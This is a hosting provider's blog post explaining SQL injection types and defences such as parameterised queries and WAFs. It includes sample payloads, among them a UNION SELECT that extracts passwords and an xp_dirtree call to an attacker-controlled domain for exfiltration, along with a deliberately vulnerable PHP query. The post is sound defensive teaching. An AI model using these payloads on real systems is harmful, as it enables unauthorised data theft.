SQL Injection: What It Is, Why It’s Dangerous and How to Prevent It 

what is sql injection

SQL Injection, also known as SQLi, has been on the OWASP Top 10 for years, and for very good reason. Despite being a well-documented vulnerability, it remains one of the most exploited threats facing websites today. 

In this post, we’ll explore what SQL Injection is, how it works, variations of SQLi, how to prevent it, and how we protect your websites against it. 

What is SQL Injection? 

SQL Injection is a type of cyber-attack that allows an attacker to interfere with the queries a website makes to its database.  

If users’ input is improperly handled, attackers can manipulate SQL statements to expose or alter sensitive data and even gain full control over the database in extreme cases. 

A Simple Example 

Consider this (vulnerable) PHP snippet: 

$username = $_GET['user']; 
$query = "SELECT * FROM users WHERE username = '$username'"; 

An attacker could supply input like: 

' OR '1'='1 

Which would transform the query into: 

SELECT * FROM users WHERE username = '' OR '1'='1' 

This query will return all users, bypassing authentication altogether. 

functioning of an sql injection

The Different Types of SQL Injection 

SQL Injection is a vulnerability that can be exploited in various ways, depending on factors such as the application’s architecture, the underlying database system, and the implementation of error handling. 

Broadly, SQLi can be categorised into three main types:  

  • In-Band 
  • Blind 
  • Out-of-Band 

Each of these has sub-techniques that exploit specific behaviours of the target system. 

In-Band (Classic) SQLi 

In-Band SQLi is the most straightforward and commonly exploited form of SQLi.  

Here, the attacker uses the same communication channel for both injecting malicious SQL and retrieving results.  

This type of SQLi is often possible when the application fails to sanitise input and directly reflects query output in the user interface. 

Error-Based SQLi 

This method relies on the database returning detailed error messages when invalid queries are executed. An attacker deliberately causes errors to reveal critical information about the database structure, such as table names, column names, or even the underlying database technology (e.g., MySQL, MSSQL, Oracle). 

Example input: 

' AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects)) --  

If the application displays SQL errors, this input could leak the first table name from the ‘sysobjects’ system table in SQL Server. 

Often used for reconnaissance as a precursor to more sophisticated attacks by mapping the database schema and discovering which SQLi attacks the database may be vulnerable to. 

Union-Based SQLi 

Union-based SQLi leverages the ‘UNION SQL’ operator to combine the results of two ‘SELECT’ statements. If the original query returns data to the page, and the number and data types of columns match, attackers can piggyback their own query and display its results. 

Example input: 

' UNION SELECT username, password FROM users --  

If successful, the attacker will see usernames and passwords displayed directly on the page, making this an efficient method for data extraction. 

Commonly used for fast and effective data extraction when output is reflected in the application. 

Blind SQL Injection 

In Blind SQLi, the application doesn’t display database errors or return query results directly. The attacker can still infer information by observing subtle changes in behaviour, such as different page content, response status codes, or delays in response time. 

Boolean-Based Blind SQLi 

This technique sends payloads that evaluate to either true or false and observes the application’s response. For example, an attacker may compare two values and monitor whether the page loads normally or throws an error. 

Example input: 

' AND 1=1 --   // Page loads normally   
' AND 1=2 --   // Page behaves differently   

By adjusting the query, the attacker can iteratively extract information one bit at a time, such as by asking whether the first character of a password is ‘a’, ‘b’, etc. 

Time-Based Blind SQLi 

In time-based attacks, the attacker introduces a deliberate delay using database functions (e.g., ‘SLEEP()’ in MySQL or ‘WAITFOR DELAY’ in MSSQL) and measures the response time. A delayed response suggests a true condition. 

Example input: 

' AND IF(SUBSTRING(@@version,1,1)='M', SLEEP(5), 0) --   

If the response is delayed by 5 seconds, the attacker infers that the first character of the database management system version is ‘M’, likely indicating MySQL. 

Commonly used to extract data when there is no visible output or error handling. 

Out-of-Band (OOB) SQL Injection 

Out-of-Band SQLi is less common but extremely powerful.  

It occurs when the attacker cannot retrieve data through the application’s response or timing side channels but can force the database to make external requests (e.g., via DNS or HTTP). 

This type of SQLi is often used in highly secure environments where direct output is blocked, and blind techniques are ineffective. 

Example input (SQL Server): 

'; EXEC master..xp_dirtree('//attacker-controlled-domain.com/folder') --  

This causes the database server to make a DNS (Domain Name System) query or SMB (Server Message Block) connection to a server under the attacker’s control, confirming code execution and potentially leaking information. 

OOB SQLi is used for exfiltrating data through DNS/HTTP when all other channels are filtered or sanitised. 

Real-World Impact 

SQL Injection can lead to devastating consequences: 

  • Data Theft: Exposing personal information, login credentials, payment records. 
  • Data Manipulation: Altering, inserting, or deleting critical data. 
  • Authentication Bypass: Logging in as any user, including admin. 
  • Full Database Dumping: Extracting entire tables or databases. 
  • Remote Code Execution: In severe cases, executing OS-level commands. 

How to Prevent SQL Injection 

SQLi is entirely preventable with secure development practices and by opting to choose a secure host. 

Use Parameterised Queries (Prepared Statements) 

This is your first and best line of defence and parameterised queries ensure that user input is treated as data and never as part of the SQL command.  

if the user inputs ‘ OR 1=1 –, it is not interpreted as SQL. It’s treated as a literal string “‘ OR 1=1 –“, preventing the query from executing and returning sensitive data. 

Example using PDO in PHP: 

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); 
$stmt->execute([$username]); 

Available in: 

  • PHP: PDO, MySQLi 
  • Python: psycopg2, SQLAlchemy 
  • Java: PreparedStatement 
  • Node.js: mysql2, pg 
Leverage ORMs (Object-Relational Mappers) 

Frameworks like Django ORM, Hibernate, or Entity Framework abstract SQL logic and handle escaping/sanitisation automatically. 

Input Validation 

Validate input for expected formats, lengths, types, values, and use allow-lists where possible. 

Follow the Principle of Least Privilege 

Ensure the application connects to the database with minimal necessary privileges. For example, avoid using root/admin credentials in production. 

Suppress Detailed Errors in Production 

Verbose SQL errors help attackers by giving them information on the database system, which help to plan further attacks. If the attacker doesn’t know what they’re attacking, it will greatly reduce the success of the attack. 

Log SQL errors securely for internal use but never show raw database errors to users. 

Use Web Application Firewalls (WAFs) 

WAFs like 20i WAF, Securi, AWS WAF, or ModSecurity can block known SQLi patterns automatically preventing them from ever reaching the database. 

Regularly Test Your Code 
  • Conduct penetration testing and secure code reviews. 
  • Monitor logs for suspicious SQL activity. 

How 20i Prevents SQL Injection 

At 20i, we integrate multiple layers of defence to proactively stop SQL injection attempts before they reach your application: 

  • WAF Protection: Our Web Application Firewall automatically detects and blocks malicious query patterns commonly used in SQLi attacks. 
  • Security Rule Sets: Our platforms are hardened with OWASP CRS (Core Rule Set) to mitigate injection-based attacks through ModSecurity. 
  • Isolation by Design: Each hosting environment is containerised, meaning one website or database cannot negatively impact another. This reduces the impact radius of any vulnerability. 
  • Patch Management: We keep server software up to date to eliminate known SQLi vulnerabilities. 

Final Thoughts 

SQL injection might be one of the oldest vulnerabilities around, but it’s still commonly used to compromise modern websites, especially those running on outdated code or legacy systems that haven’t been properly maintained. 

With a solid understanding of how SQLi works and by following secure coding practices, it can be avoided altogether. And by hosting your site with a security-focused provider like 20i, you’ll have an extra line of defence that helps stop attacks before they even get close. 

At 20i, we believe that security isn’t just about having the right tools in place; it’s about staying ahead of the curve and bolstering our security suite.



Upgrade your hosting 📈 Unleash your websites 🚀

Build, deploy & manage all your sites/apps at scale. Use our high-spec cloud servers to ensure blazing-fast load times, every time. Get market-leading speed, security & customer support.

  • WordPress, WooCommerce, Laravel optimisations & more
  • One click migration from any host, any time
  • Free Email, DNS, CDN, SSL, SSH, Backups, Security & Git integration all baked-in
  • Global reach with 60+ global data centres
  • Award-winning support from real people

Find out why over 1 million agencies, online stores, developers, multi-site hosting and high traffic sites use our Managed Cloud Servers to ensure peak performance, every time.



Previous Article

Unleash Your Inner Monster This Halloween!

Next Article

Interview with Oleksii Avramenko, Co-Founder of EspoCRM

Write a Comment

Leave a Comment

Your email address will not be published. Required fields are marked *